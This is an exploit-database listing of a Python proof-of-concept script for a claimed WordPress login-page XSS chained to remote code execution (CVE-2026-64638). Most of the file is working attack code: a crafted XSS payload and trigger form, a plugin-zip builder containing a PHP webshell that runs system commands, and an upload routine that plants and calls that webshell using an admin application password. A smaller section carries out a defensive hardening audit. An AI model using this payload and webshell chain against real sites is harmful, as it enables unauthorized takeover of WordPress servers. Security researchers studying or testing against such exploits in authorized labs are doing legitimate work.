Exploit database

GH-edd184015420c616a08976883d30ae6a

boreas37/cve-2026-64638-poc-xss2shell-

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64638

20 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
boreas37/cve-2026-64638-poc-xss2shell-Revision 348323df940c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

xss2shell.py

Python · 18,046 bytes
#!/usr/bin/env python3
"""
XSS2Shell — WordPress Pre-Auth XSS to RCE Chain PoC (CVE-2026-64638)
====================================================================

PoC for the XSS2Shell chain disclosed by PWN.AI on 2026-08-07:
    https://pwn.ai/blog/xss2shell

CVE-2026-64638 is a reflected XSS on wp-login.php (CVSS 8.9 v4.0) that can be
chained to full RCE against a logged-in administrator on default WordPress
installs (4.7 through 7.0.2, patched in 7.0.3).

THIS TOOL IS FOR AUTHORIZED SECURITY TESTING ONLY.
Use it exclusively against systems you own or have explicit written
permission to test. Unauthorized use is illegal in most jurisdictions.

MIT License — see LICENSE file.
"""

import argparse
import base64
import html
import json
import sys
import urllib.request
import urllib.parse
import urllib.error

__version__ = "1.0.0"

# ---------------------------------------------------------------------------
# Payloads (reconstructed from the public PWN.AI disclosure)
# ---------------------------------------------------------------------------

# Parser differential: "< area" (whitespace between '<' and tag name) survives
# PHP strip_tags(), then KSES re-parses it into a live DOM element on the login
# page (the '<' + whitespace form is re-tokenized by KSES into a real tag).
XSS_PAYLOAD = (
    '< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>'
    '< div id=color-picker class=reset-pass-submit>'
    '< button class="wp-generate-pw color-option">X'
)

# The injected DOM makes wp-pass.php's delegated click handler fire without user
# interaction: the guard "user_id === new_user_id" is bypassed because both
# inputs are absent on the login page (undefined === undefined), and the
# identifier "ajaxurl" resolves to the injected <area> element via the HTML
# named-property access on the Window object. jQuery then POSTs to the
# attacker-controlled href (JSONP envelope gives a readable response).

# RCE stage 1: OAuth app-password authorization URL (abused in opener window)
APP_AUTH_URL = (
    "https://{target}/wp-admin/authorize-application.php"
    "?app_name={app_name}"
    "&app_id={app_id}"
    "&success_url={success_url}"
)

# RCE stage 2: create page with app password via REST API
def rest_create_page(target, app_password, title="x"):
    return {
        "url": f"https://{target}/wp-json/wp/v2/pages",
        "method": "POST",
        "headers": {
            "Authorization": "Basic " + base64.b64encode(
                f"admin:{app_password}".encode()).decode(),
            "Content-Type": "application/json",
        },
        "body": json.dumps({"title": title, "status": "publish", "content": ""}),
    }

# Webshell dropped via plugin upload (activations not required — PHP in
# wp-content/plugins/<slug>/ is directly web-accessible).
WEBSHELL_PHP = """<?php
// XSS2Shell PoC webshell — authorized testing only
header('X-XSS2Shell: true');
echo json_encode(['rce' => true, 'user' => system('id')]);
"""


# ---------------------------------------------------------------------------
# Core functions
# ---------------------------------------------------------------------------

def build_login_payload(payload=None):
    """Return the HTML form that triggers the pre-auth XSS on submit."""
    p = payload or XSS_PAYLOAD
    escaped = html.escape(p, quote=True)
    return f"""<!doctype html>
<html>
<head><title>XSS2Shell PoC (CVE-2026-64638)</title></head>
<body>
<h3>XSS2Shell — CVE-2026-64638 trigger (authorized testing only)</h3>
<form id="poc" method="post" action="https://TARGET/wp-login.php">
  <input type="hidden" name="log" value='{escaped}'>
  <input type="hidden" name="pwd" value="x">
  <input type="submit" value="Trigger XSS">
</form>
<p>Replace <code>TARGET</code> in the form action, or serve this file and set
the target via <code>--target</code>.</p>
</body>
</html>
"""


def check(url, timeout=15):
    """Non-destructive check: does the login page reflect our payload?

    Returns True if the submitted username appears reflected unescaped in the
    response (indicating the vulnerable sprintf path exists).
    """
    parsed = urllib.parse.urlparse(url)
    if not parsed.scheme:
        url = "https://" + url
    login = url.rstrip("/") + "/wp-login.php"

    data = urllib.parse.urlencode({
        "log": "< area id=ajaxurl href=/?rest_route=/>",
        "pwd": "x",
        "wp-submit": "Log In",
    }).encode()

    req = urllib.request.Request(login, data=data, method="POST")
    req.add_header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) XSS2Shell-PoC/1.0")
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            body = resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as e:
        body = e.read().decode("utf-8", errors="replace")
    except Exception as e:
        print(f"[!] Request failed: {e}")
        return False

    # Version fingerprint from meta generator
    ver = None
    m = __import__("re").search(r'name="generator" content="WordPress ([0-9.]+)"', body)
    if m:
        ver = m.group(1)

    reflected = "area id=ajaxurl" in body or "ajaxurl" in body
    print(f"[*] WordPress version: {ver or 'unknown'}")
    print(f"[*] Payload reflection: {'PRESENT (likely vulnerable)' if reflected else 'none'}")
    return reflected


def make_plugin_zip(slug="xss2shell"):
    """Build a minimal plugin zip (no deps) with a webshell entry."""
    import io
    import zipfile

    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr(f"{slug}/{slug}.php", WEBSHELL_PHP)
        z.writestr(
            f"{slug}/readme.txt",
            "=== XSS2Shell PoC ===\nAuthorized testing only.\n",
        )
    return buf.getvalue()


def shell(target, app_password, slug="xss2shell"):
    """RCE stage: upload a plugin zip with the app password, then hit the shell.

    Requires: an admin user's application password (obtained via the XSS chain
    or supplied manually for lab testing).
    """
    target = target.rstrip("/")
    zip_bytes = make_plugin_zip(slug)

    # 1. Scrape the upload nonce
    try:
        req = urllib.request.Request(f"{target}/wp-admin/update.php?action=upload-plugin")
        req.add_header(
            "Authorization",
            "Basic " + base64.b64encode(f"admin:{app_password}".encode()).decode(),
        )
        req.add_header("User-Agent", "Mozilla/5.0")
        with urllib.request.urlopen(req, timeout=15) as resp:
            page = resp.read().decode("utf-8", errors="replace")
    except Exception as e:
        print(f"[!] Could not fetch nonce page: {e}")
        return False

    m = __import__("re").search(r'name="_wpnonce" value="([^"]+)"', page)
    if not m:
        print("[!] Upload nonce not found (invalid app password or insufficient permissions?)")
        return False
    nonce = m.group(1)
    print(f"[*] Nonce received: {nonce[:12]}...")

    # 2. Multipart upload
    boundary = "----XSS2ShellPoC" + "A" * 16
    def _field(name, value):
        return (f"--{boundary}\r\n"
                f'Content-Disposition: form-data; name="{name}"\r\n\r\n'
                f"{value}\r\n").encode()
    def _file(name, filename, content):
        return (f"--{boundary}\r\n"
                f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n'
                f"Content-Type: application/zip\r\n\r\n").encode() + content + b"\r\n"

    body = b"".join([
        _field("_wpnonce", nonce),
        _field("_wp_http_referer", "/wp-admin/update.php?action=upload-plugin"),
        _file("pluginzip", f"{slug}.zip", zip_bytes),
        f"--{boundary}--\r\n".encode(),
    ])

    req = urllib.request.Request(f"{target}/wp-admin/update.php?action=upload-plugin",
                                 data=body, method="POST")
    req.add_header(
        "Authorization",
        "Basic " + base64.b64encode(f"admin:{app_password}".encode()).decode(),
    )
    req.add_header("Content-Type", f"multipart/form-data; boundary={boundary}")
    req.add_header("User-Agent", "Mozilla/5.0")
    try:
        with urllib.request.urlopen(req, timeout=20) as resp:
            resp.read()
    except urllib.error.HTTPError as e:
        # WP redirects (302) on success — that's fine
        pass
    except Exception as e:
        print(f"[!] Upload failed: {e}")

    # 3. Hit the webshell (no activation needed)
    shell_url = f"{target}/wp-content/plugins/{slug}/{slug}.php"
    try:
        with urllib.request.urlopen(shell_url, timeout=15) as resp:
            out = resp.read().decode("utf-8", errors="replace")
        print(f"[+] Webshell response: {out[:200]}")
        return '"rce":true' in out
    except Exception as e:
        print(f"[!] Webshell not reachable: {e}")
        print(f"    Expected at: {shell_url}")
        return False


# ---------------------------------------------------------------------------
# Defensive audit — WordPress hardening checks (defensive side)
# ---------------------------------------------------------------------------

VULNERABLE_CORE_MAX = (7, 0, 2)   # CVE-2026-64638: < 7.0.3 vulnerable
VULNERABLE_WP2SHELL_MAX = (7, 0, 1)  # wp2shell: 6.9.0-6.9.4, 7.0.0-7.0.1

def _parse_version(v):
    """'6.9.4' -> (6,9,4). Non-numeric parts dropped."""
    parts = []
    for p in v.split("."):
        digits = "".join(ch for ch in p if ch.isdigit())
        if not digits:
            break
        parts.append(int(digits))
    return tuple(parts)


def _http_get(url, timeout=10, headers=None):
    req = urllib.request.Request(url, headers={
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) XSS2Shell-Audit/1.0",
        **(headers or {}),
    })
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            body = resp.read().decode("utf-8", errors="replace")
            return resp.status, dict(resp.headers), body
    except urllib.error.HTTPError as e:
        try:
            body = e.read().decode("utf-8", errors="replace")
        except Exception:
            body = ""
        return e.code, dict(e.headers), body
    except Exception as e:
        return None, {}, str(e)


def audit(url, timeout=10):
    """WordPress hardening audit — defensive posture report.

    Checks: core version vs known CVEs, XSS reflection, sensitive file
    exposure, security headers, REST user enumeration.
    """
    url = url.rstrip("/")
    print("=" * 64)
    print("WORDPRESS SECURITY AUDIT (defensive mode)")
    print(f"    Target: {url}")
    print("=" * 64)
    findings = []   # (severity, message)
    score = 0

    # 1. Core version + CVE exposure
    code, hdrs, body = _http_get(f"{url}/", timeout=timeout)
    ver = None
    if body:
        m = __import__("re").search(r'name="generator" content="WordPress ([0-9.]+)"', body)
        if m:
            ver = m.group(1)
    if ver:
        v = _parse_version(ver)
        if v and v < VULNERABLE_CORE_MAX:
            findings.append(("CRITICAL", f"WordPress {ver} — CVE-2026-64638 (XSS2Shell) VULNERABLE, 7.0.3+ required"))
            score += 30
        elif v and VULNERABLE_CORE_MAX[0] <= v[0] <= 7 and v[1] <= 1 and (v[0] == 6 and v[1] >= 9 or v[0] == 7):
            findings.append(("HIGH", f"WordPress {ver} — in the wp2shell range (6.9.0-6.9.4 / 7.0.0-7.0.1), 7.0.2+ required"))
            score += 25
        else:
            findings.append(("OK", f"WordPress {ver} — up to date against known core chains"))
    else:
        # no meta tag: try readme.html or the feed
        code2, _, body2 = _http_get(f"{url}/wp-links-opml.php", timeout=timeout)
        m = __import__("re").search(r'generator="WordPress/([0-9.]+)"', body2 or "")
        if m:
            ver = m.group(1)
            v = _parse_version(ver)
            if v and v < VULNERABLE_CORE_MAX:
                findings.append(("CRITICAL", f"WordPress {ver} (OPML) — XSS2Shell VULNERABLE"))
                score += 30
            else:
                findings.append(("OK", f"WordPress {ver} (OPML) — appears up to date"))
        else:
            findings.append(("WARN", "WordPress version could not be detected (meta tag may be hidden)"))
            score += 5

    # 2. XSS reflection (CVE-2026-64638 parser differential)
    data = urllib.parse.urlencode({
        "log": "< area id=ajaxurl href=/?rest_route=/>",
        "pwd": "x", "wp-submit": "Log In",
    }).encode()
    req = urllib.request.Request(f"{url}/wp-login.php", data=data, method="POST")
    req.add_header("User-Agent", "Mozilla/5.0")
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            login_body = resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as e:
        login_body = e.read().decode("utf-8", errors="replace")
    except Exception as e:
        login_body = ""
    if "id=\"ajaxurl\"" in login_body or "<area" in login_body:
        findings.append(("CRITICAL", "wp-login.php XSS reflection PRESENT — CVE-2026-64638 active, update immediately!"))
        score += 30
    else:
        findings.append(("OK", "no wp-login.php XSS reflection (patched or normalized)"))

    # 3. Sensitive file exposure
    sensitive = [
        ("/wp-config.php.bak", 200), ("/wp-config.php~", 200),
        ("/wp-config.php.save", 200), ("/.git/config", 200),
        ("/debug.log", 200), ("/wp-content/debug.log", 200),
        ("/wp-content/uploads/wp-config.php.bak", 200),
        ("/xmlrpc.php", 405),   # 405 = service exposed (405 vs 404/403)
    ]
    for path, bad_code in sensitive:
        code3, _, body3 = _http_get(f"{url}{path}", timeout=timeout)
        if code3 == bad_code:
            # body check for xmlrpc: is it really xmlrpc
            if path == "/xmlrpc.php" and "XML-RPC" not in (body3 or ""):
                continue
            findings.append(("HIGH", f"Leak: {path} HTTP {code3}"))
            score += 15
        elif code3 == 200 and path != "/xmlrpc.php" and len(body3 or "") > 0 and "404" not in (body3 or "")[:100]:
            findings.append(("WARN", f"Possible leak: {path} HTTP 200"))
            score += 5

    # 4. Security headers
    for h, desc in [
        ("X-Frame-Options", "clickjacking protection"),
        ("X-Content-Type-Options", "MIME sniffing protection"),
        ("Content-Security-Policy", "CSP"),
        ("Strict-Transport-Security", "HSTS"),
    ]:
        val = hdrs.get(h) if hdrs else None
        if val:
            findings.append(("OK", f"Header {h}: {desc} ({val[:40]})"))
        else:
            findings.append(("WARN", f"Header {h} missing — {desc} recommended"))
            score += 4

    # 5. REST API user enumeration
    code4, _, body4 = _http_get(f"{url}/wp-json/wp/v2/users", timeout=timeout)
    if code4 == 200 and '"slug"' in (body4 or ""):
        findings.append(("WARN", "REST API user enumeration OPEN (/wp-json/wp/v2/users)"))
        score += 8
    else:
        findings.append(("OK", "REST API user list closed/filtered"))

    # Report
    print()
    for sev, msg in findings:
        print(f"  [{sev}] {msg}")

    print()
    print("=" * 64)
    if score >= 50:
        grade, note = "F", "Critical risk — act immediately!"
    elif score >= 30:
        grade, note = "D", "Risky — prioritize critical items"
    elif score >= 15:
        grade, note = "C", "Moderate — hardening recommended"
    elif score >= 5:
        grade, note = "B", "Good — a few improvements left"
    else:
        grade, note = "A", "Solid — well configured"
    print(f"  SECURITY SCORE: {grade} ({score} risk points) — {note}")
    print("=" * 64)
    return score


# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------

def main():
    ap = argparse.ArgumentParser(
        prog="xss2shell",
        description="XSS2Shell (CVE-2026-64638) PoC — WordPress pre-auth XSS to RCE chain. Authorized testing only.",
    )
    sub = ap.add_subparsers(dest="cmd", required=True)

    p_check = sub.add_parser("check", help="Non-destructive XSS reflection check")
    p_check.add_argument("url", help="WordPress site URL (e.g. https://example.com)")

    p_audit = sub.add_parser("audit", help="Defensive hardening audit")
    p_audit.add_argument("url", help="WordPress site URL")
    p_audit.add_argument("--timeout", type=int, default=10, help="HTTP timeout (seconds)")

    p_form = sub.add_parser("exploit", help="Generate the trigger HTML form (XSS stage)")
    p_form.add_argument("--target", default="TARGET", help="Target host for the form action")

    p_shell = sub.add_parser("shell", help="RCE: upload plugin webshell (needs admin app password)")
    p_shell.add_argument("target", help="WordPress site URL")
    p_shell.add_argument("--app-password", required=True, help="Admin application password")
    p_shell.add_argument("--slug", default="xss2shell", help="Plugin slug")

    p_zip = sub.add_parser("zip", help="Emit the plugin zip bytes to a file")
    p_zip.add_argument("--out", default="xss2shell-plugin.zip")
    p_zip.add_argument("--slug", default="xss2shell")

    args = ap.parse_args()

    if args.cmd == "check":
        ok = check(args.url)
        print("[+] Appears VULNERABLE (try the RCE chain in a lab)" if ok
              else "[-] No reflection found (patched or access blocked)")
        sys.exit(0 if ok else 1)

    elif args.cmd == "audit":
        sys.exit(audit(args.url, timeout=args.timeout))

    elif args.cmd == "exploit":
        print(build_login_payload().replace("https://TARGET", f"https://{args.target}"))

    elif args.cmd == "shell":
        ok = shell(args.target, args.app_password, args.slug)
        sys.exit(0 if ok else 1)

    elif args.cmd == "zip":
        with open(args.out, "wb") as f:
            f.write(make_plugin_zip(args.slug))
        print(f"[+] Plugin zip written: {args.out} ({len(make_plugin_zip(args.slug))} bytes)")


if __name__ == "__main__":
    main()